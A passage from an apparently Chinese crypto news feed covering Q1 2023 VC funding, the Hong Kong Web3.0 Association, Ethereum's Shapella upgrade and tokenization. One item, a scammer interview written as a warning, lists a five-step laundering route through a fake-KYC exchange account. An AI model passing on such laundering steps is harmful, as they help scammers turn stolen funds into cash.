年第一季度获得了最多的风险投资。 尽管成立于 2021 年和 2022 年的加密初创公司获得投资的数量几乎持平，但成立于 2021 年的公司在 2023 年第一季度获得了最多的投资额。从直觉上来看，2021 年成立的公司比 2022 年成立的公司成立时间更长，因此在后期阶段筹集的资金也更多，这解释了这种差异。 不同总部所在地公司的融资情况 总部位于美国的加密初创公司完成了最多的融资。 2023 年第一季度，总部位于美国的公司筹集了所有 VC 投资总额的 42.8%，其次是法国 (19.4%)、加拿大 (6.6%) 和瑞士 (4.1%)。 融资数量亦是如此。2023 年第一季度，美国公司完成了所有 VC 投资数量的 42.3%，其次是英国 (8.5%)、新加坡 (6.2%)、加拿大 (4.1%) 和瑞士 (3.9%)。 VC 投资规模和初创公司估值 2023 年第一季度，VC 的投资规模和初创公司的融资前估值处于 2021 年初以来的最低点。2023 年第一季度 VC 投资规模的中位数为 250 万美元，而初创公司融资前估值的中位数为 1880 万美元。 VC 投资规模和初创公司融资前估值的下降也符合更广泛的 VC 市场的下滑。 不同类别公司的融资情况 类别为“贸易、交易平台、投资和借贷”的初创公司在 2023 年第一季度筹集到了最多的资金（5.38 亿美元，占所有融资额的 22%），而“钱包”类别初创公司筹集了第二大份额（5.19 亿美元，21%）。钱包这个类别由硬件钱包制造商 Ledger 主导，该公司在 2023 年 3 月为其 3.86 亿美元的 2021 年 C 轮融资筹集了 1.08 亿美元。 从融资数量来看，“Web3、NFT、DAO、元宇宙和链游”初创公司重新夺回头把交椅，其次是“贸易、交易平台、投资和借贷”初创公司。 当在 2023 年第一季度按融资阶段评估时，VC 的活动看起来更加清晰（种子前、种子、早期、后期）。在后期阶段公司完成的融资中，“挖矿”类别占比最大，而包括节点托管和质押服务在内的“基础设施”类别在早期阶段公司完成的融资中占比最大。 就获得的 VC 投资金额而言，“钱包”和“企业区块链”类别的份额流向后期阶段公司的比例最大，而“基础设施”类则在种子前阶段中占据着最大份额。 可以理解的是，“贸易、交易平台、投资和借贷”类别有很大一部分资金流入后期阶段的公司，而“Web3、NFT、DAO、元宇宙和链游”类别对前期阶段的公司的投资很少。 我们与 Galaxy Asset Management 合作编制了 2023 年第一季度的 VC 筹资信息——即 VC 为新基金筹集的资金。2023 年第一季度是自 2020 年底和 2021 年初以来推出的最少数量新基金（14 个）和筹集的最低资金（22.3 亿美元）。 2023 年第一季度，新基金平均规模继续增长，达到 2.11 亿美元，而基金规模的中位数自 2020 年以来首次下降（6250 万美元）。 ​ 分析与结论 毫无疑问，加密 VC 正在经历与加密市场本身相同的熊市。但 VC 投资活动（投资数量、投资额和筹集的资金）的下降与更广泛的 VC 市场的下降并没有特别不同，利率上升环境对此负有重大责任。 2023 年第一季度加密 VC 数据的其他重要分析包括： 加密 VC 活跃度大约是 2018 年加密熊市的两倍。尽管 VC 的投资活动从 2021 年和 2022 年的历史高位大幅回落，但相比前一个加密熊市，2023 年第一季度 VC 的投资活跃度仍然很高。如果目前的趋势能够保持不变，2023 年的 VC 投资将超过 2018 年（2018 年是上一次牛市之前加密 VC 投资最多的一年）。 加密 VC 面临艰难的筹资环境。毫无疑问，利率上升导致配置者不像在十年零利率政策下那样热衷于押注风险基金等长尾风险资产。再加上加密市场的熊市，以及许多配置者在 2022 年几家风险投资支持的加密公司惨败后感到焦头烂额的事实，加密 VC 们将发现在 2023 年很难筹集到新资金。 缺乏投资将继续给初创公司创始人带来压力。“不惜一切代价实现增长”的时代已经结束，至少目前如此，VC 支持的加密初创企业需要为可预见的艰难的筹资环境做好准备。创始人必须专注于可持续的商业模式，并准备以筹集较少的资金而放弃更多的股权。对创始人友好的筹资环境已经过去了。 种子前投资正在增加。在经历了 2022 年惨淡的第四季度之后，种子前投资的数量在相对和绝对基础上都在上升。在 2023 年第一季度完成的所有加密 VC 投资中，有 20% 流向了处于早期阶段的公司，这表明创始人很活跃，VC 也很关注。由于许多人在熊市期间完全退出了加密行业，精明的 VC 可能会像在之前的熊市期间那样在充满挑战的环境中找到顽强的初创公司。 美国继续主导加密创业生态系统。尽管监管环境不明朗，甚至监管机构多次采取执法行动，但总部位于美国的加密货币初创公司继续吸引着绝大多数 VC 投资活动。总部位于美国的公司主导着加密创业生态系统，因此，寻求留住顶尖人才、促进技术和金融现代化、将美国领导力延伸到未来经济的决策者制定促进增长和创新的进步政策是明智的。 新旧类别都在增长。虽然“贸易、交易平台、投资和借贷”类别的初创公司在加密行业长期占据主导地位，但较新的类别“Web3、NFT、DAO、元宇宙和链游”的初创公司，包括 NFT 市场、DAO 工具、链游开发商，我们可以继续看到大量的投资。此外，代币化和企业区块链等处于发展早期的概念在 2023 年第一季度的融资数量和筹集的资金额均有所增长，这表明市场正在寻找“区块链用例”，因此我们预计代币化和区块链用例将继续在 2023 年快速发展，特别是考虑到加密市场熊市和充满挑战的美国监管环境。话虽如此，但加密行业和加密市场是全球性的，对加密经济、社区模式、加密货币的需求，仍然是 VC 投资活动的最大驱动力。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 5 min )
    李家超：提供适切监管 释放Web3潜力
    PANews 4月11日消息，据金十，香港特区行政长官李家超表示，为使香港成为虚拟资产企业最佳立足点，政府需要为市场提供适切监管，释放Web3及相关技术潜力。将于6月实施的发牌制度为虚拟资产交易所提供一定程度的市场认可，确保市场稳健有序发展，保障投资者。  ( 1 min )
    以太坊上海升级，DeFi 3.0的序章
    出品：欧科云链研究院 作者：毕良寰 距离以太坊Shapella升级（也曾被称为上海升级）仅剩一天的时间！ 自2015年以太坊上线以来，它已成为世界排名第二的加密虚拟资产，以太坊诞生于行业的意义在于它能够让开发者构建智能合约和去中心化应用（DApps），无需信任任何中介或第三方机构，这也使得以太坊成为Web 3.0的重要基础设施之一。经过以太坊的一次次升级，以太坊的生态也不断地在扩张和完善。其中，计划于4月13日实施的Shapella升级是以太坊迎来属于它的第五次重要升级，也是以太坊合并之后的首次升级。欧科云链研究院将分析以太坊Shapella升级对DeFi的影响并对未来进行展望。 以太坊是DeFi革命的“引擎”。 Kyle Samani，Multicoin Capital的创始人如是说。 去中心化金融（DeFi）作为区块链技术最早应用的领域之一，也是目前加密生态中最具前景的用例之一，通过加密网络直接连接用户，降低了准入门槛，无需依赖像中央银行、清算机构或验证服务这样的“中间人”，从而解决了中心化金融存在的一些问题，并在加密市场中成为主要应用领域之一。 目前，DeFi已成为一个市值六百亿美元的庞大市场。不仅其市场规模大，发展速度也十分迅猛。根据欧科云链OKLink的数据，作为DeFi的应用场景之一，稳定币的流通总量从2020年4月到2023年4月三年时间内增长了12.3倍。此外，像DeFi的头部应用Aave的借贷协议贷款总额已经从2020年的1亿美元增长到了现在的超过57.2亿美元。 图 稳定币流通总量（美元） 来源：欧科云链OKLink DeFi从1.0时代走向3.0时代，经历了技术上的创新和市场的狂热，现在到了应用的创新与探索。 DeFi 1.0是指基础设施为自动做市商（AMM）机制的去中心化交易平台的爆发，以及通过使用挖矿（Farming)的方式获取更多利润的“农民(Farmer)”们进入了DeFi“农耕”时代。而DeFi 2.0则是在第一代DeFi乐高打造的新型协议的基础上进行创新，其中DeFi协议拥有的流动性挖矿（PoL）重要特质，是整个DeFi 2.0新逻辑的关键之一。DeFi 1.0和2.0的创新都是在DeFi的基础设施和协议层面上进行的，而DeFi 3.0则更注重应用层面的创新。 那么DeFi 3.0具体而言是什么呢？ 它是基于DeFi 2.0的再一层创新。虽然目前行业对DeFi 3.0的定义还在不断探索中。但总体来说，DeFi 3.0主打“金融即服务（Farming as a service）”概念，通过将金融服务与应用程序进行深度融合，实现更为普惠和便捷的金融服务。目前，DeFi 3.0概念正在努力解决两个问题：一是可持续性收益问题。DeFi 2.0通过协议自主控制流动性，确保了流动性的稳定，但同时也带来了可持续性收益的问题；二是操作繁琐和高昂Gas费的问题。随着DeFi 2.0的发展，整个DeFi生态变得异常复杂，投资者需要高度关注行业动态，并频繁地在各个公链之间转移资金，才能获得最佳回报。对于初次接触DeFi的新手而言，这些繁琐的操作和越来越高的gas费用可能会使他们望而却步。 以太坊是DeFi生态中的主要基础设施之一。根据欧科云链研究院的不完全统计数据，约60%的DeFi总锁仓价值（TVL）建立在以太坊上。以太坊也是DeFi创新的发源地，许多DeFi创新都源自于以太坊生态。然而，在以太坊发展早期阶段，缓慢的交易速度和高昂的交易费用限制了DeFi的发展，尤其在DeFi高速发展的阶段，这一问题更加明显。为了不断优化和完善以太坊，类似于我们使用的手机系统升级一样，以太坊的升级变得必要。这些升级包括Shapella升级等，将不断推动DeFi的发展，并有望开启DeFi 3.0时代的序章。 每一次以太坊的升级都致力于推动以太坊向“世界计算机”迈进一步。作为DeFi的主要基础设施之一的以太坊，也在不断的技术升级中打破DeFi瓶颈，更有望迎来DeFi 3.0时代的到来。 2023年4月13日即将进行的以太坊Shapella升级包括执行层的上海升级和共识层的卡佩拉（Capella）升级。此次升级将解决以太坊网络的三个关键问题：简化以太坊虚拟机（EVM）执行引擎、提高质押ETH的赎回灵活性以及降低Layer 2的Gas费用。本次升级主要涵盖了5个以太坊改进提案（EIP）：EIP-4895、EIP-3860、EIP-3651、EIP-3855、EIP-6049，这些协议主要涉及以下方面：增加质押ETH的赎回灵活性、扩大智能合约的代码容量以降低Gas消耗、引入区块首笔交易奖励机制、降低无意义的Gas消耗以及避免由于误操作或恶意攻击而导致的意外结果。总体来说，Shapella升级的主要技术内容是增强了质押ETH的赎回机制。 本次升级的“赎回机制”内容将激发更多验证者参与进来，并促进以太坊网络的进一步去中心化和提高网络安全。以太坊PoS自上线以来，质押者不得不押注自己的资金。通过本次升级的“赎回机制”，PoS区块链的全面运作才能成为现实。这意味着质押者最终可以拥有个人资金的控制权。 在以太坊治理中，质押者扮演着重要角色，通过投票影响以太坊的未来方向，并共同构建和保护以太坊区块链的安全性和可信度。他们可以将运行验证器的操作委托给第三方，但仍然有责任选择合适的合作伙伴以维护以太坊的特点。每个以太坊社区成员都参与到治理过程中，质押者的作用尤为重要。通过增加质押的可移植性，提款将导致质押供应商之间的竞争加剧，解锁以太坊流动价值也很有可能成为推动网络成长以及全球采用。 图 ETH供应量变化 Shapella升级作为以太坊的一个重要升级，除了“赎回机制”外，本次升级目的还旨在提高区块链交易速度和降低成本，同时推动DeFi的发展。其中一个重要目标是为了能够顺利进行下一步的分片技术升级，通过将数据分成多个较小的部分，并在这些部分上并行执行处理操作，提高数据处理效率和性能。然而，由于容量已经达到上限，许多考虑升级的EIP未能纳入此次升级。 Shapella升级中包含的内容提案改进可以帮助推动以太坊上的扩容技术——Layer 2的发展，从而让交易更快且交易成本更低。Layer 2解决方案是将交易从主链转移到侧链或其他解决方案中，从而提高交易速度和降低成本。目前最有前途的Layer 2项目包括Optimism、Arbitrum、zkSync和StarkNet。 但Layer 2真正的突破可能要等到下一个重要升级——坎昆升级。 EIP-4844是Shapella升级中的Capella升级后第一个被写入规范的EIP。Layer 2需要使用Layer1上发布的Call Data，这对 Layer2的安全机制至关重要。但目前在Layer 1上发布Call Data的成本很高，已经占到了Layer 2交易费用的80%以上。因此，为了降低费用，需要在以太坊Layer 1上创建更多的数据空间。EIP-4844专注于解决这个问题，从而降低 Layer 2交易费用，为未来的数据分片应用提供支持，同时引入将不同资源种类的使用和收费区分开的多维收费市场机制。随着EIP-4844的实施，Layer 2将变得更具竞争力，提供更大的未来发展潜力。 随着 DeFi应用的增多，区块链网络的交易量和负载将变得更加庞大。因此，Layer 2解决方案是解决区块链交易速度和扩容问题的技术，是 DeFi发展所必需的技术之一。展望未来，DeFi 3.0可能需要更多的技术支持来应对 DeFi发展的挑战，例如安全的协议、可持续的模型、高效的交易处理、强大的隐私保护以及更好的互操作性。此外，随着区块链技术的不断演进，DeFi 3.0也可能面临新的技术挑战和机遇。 ‍由于以太坊是DeFi的主要基础设施，因此即将推出的Shapella升级对DeFi的发展具有重要意义。尤其是随着DeFi不断发展，DeFi 3.0时代会更需要底层技术的支持，以太坊作为DeFi的创新地，其技术上的不断升级也会助力开启DeFi 3.0的时代。 关于Shapella升级的未来展望，流动性衍生品质押赛道（Liquid Staking Derivatives, LSD）赛道是DeFi衍生品中的一种，主要解决质押ETH的流动性问题。通过LSD，用户可以将质押的ETH转化为流动性虚拟资产，参与流动性挖矿等操作，从而获得更多收益。LSD已成为DeFi领域的强劲赛道，是本次以太坊Shapella升级的直接利好之一。 随着以太坊不断升级，整个公链基础设施的性能也将得到提升，引发了对DeFi未来发展的关注。然而，随着DeFi行业的不断扩大，技术瓶颈也逐渐凸显，因此建设更好用的基础设施，例如Web3钱包，以满足用户对数字资产管理的需求，成为关注的焦点。Web3钱包是连接用户和去中心化应用程序（DApps）的重要工具，能提供安全、易于使用的数字资产管理方式。此外，以太坊升级还有望促进DeFi与其他领域（例如NFT、跨链解决方案）的深度融合，拓展DeFi的应用场景和市场规模。 尽管Vitalik Buterin曾表示以太坊在合并后仅完成了55%，随着技术上的不断升级带动DeFi行业的发展从而又增加了对基础设施的需求，DeFi行业也将会不断迎来新的机遇和挑战，成为未来金融领域发展的重要一环。 想要看以太坊Shapella升级链上数据，更多精彩请点击。   参考资料： 1、“Current Ethereum”，Luozhu 2、《 以太坊核心开发者会议更新 014 》, Tim Beiko 3、“An argument for DeFi 3.0”，Knower 4、《关于以太坊上海升级，你需要知道哪些？》，Tokenview  ( 2 min )
    SHIB：The Metaverse预计将于今年12月开放，建立在Shibarium之上
    PANews 4月11日消息，据CoinDesk报道，SHIB：Shiba Inu 开发人员在周一的更新中表示，SHIB：The Metaverse是一个扩展 shiba inu (SHIB) 生态系统效用的项目，预计将于今年 12 月开放。元宇宙不太可能在发布时完全完成，因为它将是一个“正在进行的项目”。SHIB：The Metaverse将拥有 100,595 块由用户铸造的土地。地主可以从他们的地块中获得被动收入，收集游戏内资源并获得奖励。该元宇宙项目将在 Shibarium 中开发，Shibarium 是即将推出的第 2 层网络，使用 Shiba 生态系统令牌，其测试网已经上线。  ( 1 min )
    一文了解获港府和北京支持的香港Web3.0协会，初创会员尚无加密原生机构
    4月11日，在北京和香港当局支持下，香港Web3.0协会在港正式成立，香港特区行政长官李家超和北京中央驻港联络办公室领导出席了成立典礼。同时，李家超和香港财政司司长陈茂波还分别为香港Web 3.0协会题辞，希望协会能为推动香港Web3发展“宏展新篇”、“缔创新章”。 初创会员尚无加密原生机构，已开放三类会员申请 根据官网介绍，香港Web3.0协会是由中国移动、招商局、华为和香港科技大学发起，由多家中港金融科技公司、产业领袖、创科界立法议员组成。在今日的成立典礼上，金管局前总裁陈德霖被委任为香港Web3.0协会会长，中国工程院院士陈纯、中国移动香港董事长李锋、互联网专业协会永远名誉会长陈少杰担任香港Web3.0协会荣誉会长，全国政协委员朱李月华等担任名誉顾问，香港科技大学副校长汪扬担任首席科学顾问，财经事务及库务局前局长陈家强担任首席金融顾问。 除了这些重量级人物，协会其他成员的阵容包括立法会议员及身兼创业加速器G-Rocket共同创办人吴杰庄、中手游联合创始人冼汉迪、抖音集团副总裁田晓安、新加坡工程院院士洪明辉、身兼立法会议员的招商局港口董事会副主席严刚和科技创新界议员邱达根等。加密圈最熟知的Hashekey Group的董事长肖风也担任理事会成员。 初创会员单位包括中国联通、腾讯云、叮当健康、WeLab Bank、播思科技、亚洲区块链协会、红枣科技、QonBay.io、In Capital、Meta Metopia和亚洲传承与家族办公室有限公司等40家。这些发起方和创始会员大都为传统金融或科技公司，尚无加密货币原生机构。（点击查看会员单位名单） 目前，香港Web3协会也已开放会员申请，可申请的会员类型分为资深会员、高级会员和普通会员。未来是否会开放加密原生机构申请，尚未可知，PANews在现场亦未获取有关信息。 据官方披露，香港Web3.0协会的任务包括为相关业界建立沟通平台，制定Web3技术标准，并搭建Web 3.0产业链成员和生态圈与政府沟通的桥梁。同时，协会还吸引和培养具有国际水准的科技人才和创新团队、支持Web 3.0尖端技术和创新应用在香港落地、引入各方人才和资源等。协会愿景是打造新⼀代互联网技术高地，助力香港成为“全球数码金融中心”。 从协会的组织架构上来看，主要分为学术、行业、应用推广这三个委员会，下分小组将从行业的技术标准、政策建言、金融科技、市场推广等方面具体着手。 特首称虚拟资产交易平台等已在港拓业，香港敢于做新浪潮引领者生态 “Web3.0对金融科技发展起关键作用，去年底发表虚拟资产政策宣言，说明政府有开放态度和坚定决心，最近一些龙头科技企业和高技术初创公司考虑在港开拓业务，包括虚拟资产交易平台、区块链基建企业、虚拟货币钱包、支付企业等相关项目，相信能助力Web3.0发心。创科是香港重点发展领域，Web3.0 发展正值黄金起点，能改变原有的商业运作模式，同时创造更多新机遇，香港要敢于成为这波创新浪潮的引领者。”李家超在香港Web3.0协会成立典礼发表致辞时表示。 实际上，自去年以来，香港当局在发展Web3上动作频频。例如，去年九月香港政府发表了《有关虚拟资产在港发展的政策宣言》，阐明锐意发展虚拟资产行业及生态系统的政策立场和方针，并展示了政府对虚拟资产行业的愿景；李家超在首份《施政报告》中也表示正筹备开展发行央行数位货币数码港元(e-HKD)，并探讨零售层面试验数码港元的可行性；而在今年年初，香港金管局还建议将与稳定币相关的若干活动纳入监管，并在总结文件中确认计划对某些与稳定币有关的活动进行监管。 同时，今年2月，陈茂波还在立法会会议厅发表发表2023年财政预算演说中提到，香港政府承诺拨款5000万港元，以加快香港Web3生态发展，并宣布将成立并领导一个虚拟资产发展专责小组，成员包括相关决策局、金融监管机构，以及市场人士，就行业的可持续和负责任发展，向政府提交建议。 此外，香港证监会还就有关监管虚拟资产交易平台的建议展开咨询，将于2023年6月1日生效的新发牌制度，所有在香港经营业务或向香港投资者积极进行推广的中央虚拟资产交易平台，将需获证监会发牌。除了相关协会之外，香港还将设立Web3Hub基金，支持更多海外Web3.0企业落户香港。 值得一提的是，Web3.0协会是响应国家和香港特区政府号召成立的，旨在为建设香港成为全球领先的Web3.0智慧城市及安全和可持续的数码金融中心而做出贡献。而在此之前，据彭博社报道，有知情人士透露在过去几个月里，中联办的代表和其他官员一直是香港加密货币聚会的常客，他们在聚会交换名片和微信，并认为这种接触是非常友好的，而官员们会检查事态发展，要求提供报告，在某些情况下还会打电话跟进，中联办对此并没有回应。  ( 2 min )
    RWA叙事涌来，一文探讨其优缺点和影响
    撰写：ZERO IKA 编译：深潮 TechFlow 现实世界资产代币化正成为一个备受关注的领域。通过将实物转化为数字代币，现实世界资产可以在区块链上变得可交易、可分割，并为更多人所持有。这一概念不仅可以提供更多的投资机会，还可以为传统资产类别注入巨额流动性。 本文将讨论现实世界资产代币化的优势和缺陷，同时作者还介绍了一些他在该领域中关注的协议和项目，以及它们对于加密货币市场和全球金融市场的影响。 RWA 指的是现实世界资产（Real World Assets），简单来说就是将任何实物资产数字化，然后将其拆分成更小的部分，并以代币的形式存在，也就是所谓的代币化。 想象一下，由于区块链技术，您可以完全拥有实物资产的所有权，这就是 RWA 的意义。 所有类别的资产都可以被代币化，这种可能性是无限的： 考虑到全球金融资产净值，想象一下有多少资金可以流入区块链领域。这是一个巨大的机遇。 看看最新的 BCG 报告。预计到 2030 年，代币化资产的价值将达到 16 万亿美元，占全球 GDP 的 10％，这是一个非常保守的估计。 上链的好处： 缺点： 众所周知，在牛市中，由于流动性更为稳定且参与者的流动性增加，DeFi 的收益率会提高。但是在熊市中，由于价格暴跌，人们失去了兴趣，导致 TVL（总价值锁定）急剧下降。 RWA 资产可以帮助 DeFi 世界提供更可持续和可靠的收益，支持传统资产类别，因此独立于加密市场的波动。此外，提供更高的收益率非常重要，否则新资本将无法流入。 实现 RWA 采用的道路是漫长而复杂的，但已经有一些在这个领域工作的协议在我们关注之列。 Sologenic 是建立在 XRP 账本上的去中心化交易所，旨在提供股票、加密货币、ETF 和代币化资产的访问权限。 用户可以将来自 30 个全球证券交易所的 40,000 多只股票、ETF 和商品进行代币化。 RealT 是由 AAVE 驱动的平台，专注于房地产领域，允许人们在美国购买分数化物业。 正如之前提到的，您可以用 50 美元开始购买一处房产。 这是一个将农业带入区块链的协议，允许人们买卖农产品。 投资者可以从他们的作物中获得实际收益，在资产与加密市场不相关的情况下实现投资组合多元化。 Galileo Protocol Galileo Network 通过将真实产品与不可变的物理 NFT（pNFT）相结合，在区块链上证明其所有权、条件和来源，从而帮助奢侈品牌打击伪造。pNFT 代表物理 NFT。 其他值得关注的项目： 虽然现实世界资产的代币化是加密货币中最令人惊叹的概念之一，但人们保持怀疑态度，因为他们看不到具体的用例。 能够看到现实世界资产被代币化，应该会改变人们对“欺诈性”加密货币世界这一概念的整体看法。 好的事情需要时间。正如前所说，整个概念非常惊人。但我们仍处于实验阶段，需要时间才能达到全球采用级别，我们还没有到那一步。在此之前，需要完成许多工作，尤其是在监管框架。 RWA 代币大部分由于其叙事，而非因为具有可以证明价格上涨的大规模公用事业。这可以被视为监控这个新兴且有趣的领域的巨大而早期的机会。这是一个可以彻底改变 DeFi 和 TradFi 的领域。  ( 3 min )
    一文速览Optimism基金会RetroPGF 2 Top10获奖项目：教育类
    本文介绍了 RetroPGF 2 投票框架及其相关类别，并重点展示了教育类项目的 Top 10。这些项目不仅对以太坊生态系统做出了巨大贡献，还为投资者提供了独立评价和深入了解各个项目的途径。通过关注这些教育类产品，我们可以从公众视角获得有关项目的独立评价，成为投资研究的有效辅助手段。 本文由公众号“Web3地图”编译自 Optimism 官推，文章摘要由ChatGPT自动提取。文中观点为原作者所有，不作为任何财务建议，仅作信息参考、研究之用。 为了给持有徽章的人提供投票 RetroPGF 2 的框架，符合条件的项目被分为以下三类： 教育类项目与人员共获得了 3,064,659 OP！本文突出展示了前 10 名。?‍? @l2beat: 一个对二层解决方案（L2s）的使用情况和与 TVL 相关的指标进行监测，验证文档与源代码，并手动评估相关风险，对 L2s 进行比较的研究和分析的网站。他们的工作让人们了解 L2s 及其动态。 OP 奖励：256.2k @ETHGlobal: 以太坊中最大的开发者社区。通过 50 多个全球和虚拟黑客松，ETHGlobal 为创新者创造了空间。该组织还通过发布指南、举办峰会等方式支持社区。 OP 奖励：230k @buidlguidl: 一个精选的以太坊开发者群体，他们创建了丰富 Web3 生态系统的产品、原型和教程。他们通过提供 SpeedRun Ethereum 教程等来指导开发者和组织。 OP 奖励：224.1k @0xPARC: 以零知识密码学、多方计算（MPC）等为重点，促进以太坊应用层创新。除了资助 Lattice、Dark Forest 和 DFDAO 等项目外，还举办有关 ZK 和 AW 的学习实习、黑客马拉松和会议。 OP 奖励：206k @zachxbt: 一位链上举报人，将开源加密相关调查发布到 Twitter 和其他平台。调查对社区免费，已经导致了法律诉讼和资产追回。 OP 奖励：188.5k @KERNEL0x: 通过其点对点学习平台整理基础加密智慧。除了出版插图版 Kernel Book 外，他们还教授关于 Optimistic 合约的课程，就 EIP-4844 和 4337 举办对话，并为 OP 早期治理做出贡献。 OP 奖励：132k @CryptoZombiesHQ: 一个互动教学平台，教授关于区块链技术的知识。学生通过创建自己的加密收藏品游戏来学习编写智能合约。课程重点关注 Solidity 开发，帮助新开发者加入以太坊。 OP 奖励：130.5k @WeekInEthNews: 一份关于以太坊的所有事物的简讯。得益于他们的每周出版物，自 2016 年以来，社区一直能及时了解以太坊的最新动态和重要新闻。 OP 奖励：121.7k @apolynya: 一位作家，撰写关于区块链相关主题的文章，包括可扩展性、可持续性和经济学。此外，他们还参与各种关于 Rollup 的研究和讨论，担任 Optimism Collective 的代表。 OP 奖励：98.8k 他们在 Optimism Discord 上提供人际支持。他们负责报告垃圾邮件和诈骗，标记问题和漏洞，以及友好地回答问题。他们的努力确保了 Optimism 社区的安全，并帮助人们更好地了解该项目。 OP 奖励：93.6k Support NERDs敬请期待 敬请期待下期基础设施类别的前 10 名获奖者！?️  ( 3 min )
    对话加密诈骗者：欺诈套路多，如何保护自己的加密资产？
    作者：Rekt Fencer，加密研究员 编译：Leo，BlockBeats 钱包是 Web 3 用户最基础的设施，但无论大家多么谨慎，还是会被一些诈骗网站掌握钱包的私密数据，加密研究员 Rekt Fencer 采访了一个诈骗加密资产的人员，并梳理了该他的作案方式，希望大家可以了解一些加密诈骗并作出相应措施，BlockBeats 整理编译如下： 我采访了一个加密骗子，了解了他是如何欺骗用户并盗走他们资产的，本文中，我将揭示他诈骗使用的策略，以及如何保护自己避免进入这些骗子的陷阱。 本文基于对一个真正的加密骗子的采访，所提供的信息仅用于教育目的，并非建议或鼓励大家效仿。 经验不足的人更容易被最简单的「社会工程学」迷惑、攻击，骗子经常使用心理技巧来博得你的信任，从而更容易被他们骗。 通常情况下，骗子会以不同的借口试图让诈骗对象下载一些软件或共享密码/助记词，我采访的那个人说，他自己是一名程序员，向他的受害者出售「所谓可以赚很多钱」的程序。 这主要取决于骗子应用技巧和用来骗人的方法。比如，一个只有 6 个月经验的骗子每月可以轻松赚取 5000-10000 美元。 诈骗大多专注于窃取加密资产，但他们也可能参与勒索、窃取个人数据和其他非法活动。此外，你电脑中的数据可能会被骗子放在互联网上，并被其他欺诈者进一步利用。 例如，MetaMask 钱包如何被黑客攻击，如果你安装了恶意软件，将你所有的电脑数据发送给骗子，他们可以用密码破解程序破解你的 MetaMask 钱包。但你可以做到的是设置一些长而复杂的密码，如果设置的密码超过 15-20 个字符，他们将很难破解你的密码。 骗子如何洗黑钱 如何将诈骗到的加密资产换成美金，其实有很多方法，但我采访的人员是通过 Exodus 钱包来实现这一点： -在 BSC 网络上存钱； -将 token 换成 XRP； -通过假 KYC 转移到 CEX； -在另一个 CEX 中提取 token； -将 token 从 CEX 兑换成现金美元。 所以，是有一些方式是可以防止用户上当受骗的，比如： -使用防病毒软件 Avast 或 McAfee； -切勿在浏览器中保存密码； -限制从互联网下载权； -对 Metamask 钱包和其他网站使用强密码； -不要截图并保存助记词/密码的照片。 Tel 和 Discord 的安全指南 此外，可以去看看 Officer』s Notes 关于 Tel 和 Discord 的安全指南，包括： -如果你安装了恶意软件，该如何处理数据和设备？ -如何更改社交媒体、交易平台和电子邮件帐户的密码「 -如何设置新的 2FA？ -如何在电脑上重新安装操作系统？ 结语 希望以上内容可以帮到你，赚取 token 固然重要，保住 token 安全才是结局。  ( 2 min )
    香港特首李家超出席香港Web 3.0协会成立典礼致辞（全文）
    以下是行政长官李家超今日（四月十一日）在香港Web 3.0协会成立典礼的致辞： 陈德霖会长（香港Web 3.0协会理事会会长）、梁君彦主席（立法会主席）、各位嘉宾、各位朋友： 很高兴出席今日这个盛会，同各位香港创新科技界和金融界的先驱，一齐见证香港Web 3.0协会的成立。 习近平主席在十四届全国人大一次会议发表的重要讲话指出，要着力提升科技自立自强能力，不断壮大国家的科技实力。国家「十四五」规划明确支持香港建设国际创新科技中心。 创新科技是香港重点发展领域，我们要坚持以技术革新推动经济增长。 Web3.0的发展现时正值黄金起点，这项颠覆性的技术能改变许多原有的商业运作模式，同时创造更多新的机遇。面对Web3的发展大势，我们必须敢于成为这波创新浪潮的引领者。 为了把握好Web3.0的机遇，特区政府新一份《财政预算案》公布，拨款五千万元予数码港，加速推动香港Web3.0生态圈的发展，特别是推动跨界别业务合作。数码港亦已于今年初成立了「数码港Web3基地」，更好凝聚全球Web3.0的初创企业和人才。 Web3对金融科技的发展起着关键的作用。特区政府在去年底就虚拟资产在香港的发展发表政策宣言，展示我们对虚拟资产创新有开放态度，有坚定决心，好高兴见到业界的反应都十分正面。 最近几个月来，不少龙头创科企业及高技术的初创公司都积极跟特区政府联系，考虑在香港开拓业务。这些企业涵盖虚拟资产交易所、区块链基础建设企业、虚拟货币钱包及支付企业，以及其他与Web3.0相关的项目，相信能助力Web3生态圈的蓬勃发展。 为了让香港成为虚拟资产企业的最佳立足点，我们同时需要为市场提供适切的监管，释放Web3以及相关技术的潜力。我们为虚拟资产服务提供者设置的新发牌制度将会在六月实施，为虚拟资产交易所提供一定程度的市场认可，确保市场稳健有序发展，保障投资者利益。 今日正式成立的香港Web 3.0协会，汇聚创科金融人才，我期待协会与特区政府携手合作，为香港的创科及金融发展提速，并在吸引全球人才和企业方面提量，令更多顶尖单位来到香港大展拳脚，一起迎接Web3.0和虚拟资产业的发展所带来的庞大机遇。 最后，我祝贺香港Web 3.0协会正式成立，并祝各位身体健康，工作顺利。多谢大家！ 完  ( 1 min )
    香港特首：Web3.0发展正值黄金起点，香港要敢于成为这波创新浪潮的引领者
    PANews 4月11日消息，香港特首李家超在香港 Web3.0 协会成立典礼发表致辞时表示，希望协会与政府合作，为香港的创科及金融发展提速，在吸引人才和企业方面提量，更多顶尖单位来港大展拳脚。Web3.0 对金融科技发展起关键作用，去年底发表虚拟资产政策宣言，说明政府有开放态度和坚定决心，最近一些龙头科技企业和高技术初创公司考虑在港开拓业务，包括虚拟资产交易平台、区块链基建企业、虚拟货币钱包、支付企业等相关项目，相信能助力 Web3.0 发展。政府同时要为市场设立适切监管，为虚拟资产服务提供者的新发牌制度 6 月实施，确保市场稳健有序发展。 李家超表示，国家主席习近平指出要着力提升科技、自立自强能力，不断壮大国家科技实力，国家十四五明确支持香港建设国际创新科技中心。创科是香港重点发展领域，Web3.0 发展正值黄金起点，该技术能改变原有的商业运作模式，同时创造更多新机遇，香港要敢于成为这波创新浪潮的引领者，政府早前公布的预算案，拨出 5 千万元给数码港，加速推动香港 Web3.0 生态圈发展，数码港亦已成立 Web3 基地。  ( 1 min )
    比特币冲破3万美元大关，牛市号角吹响？
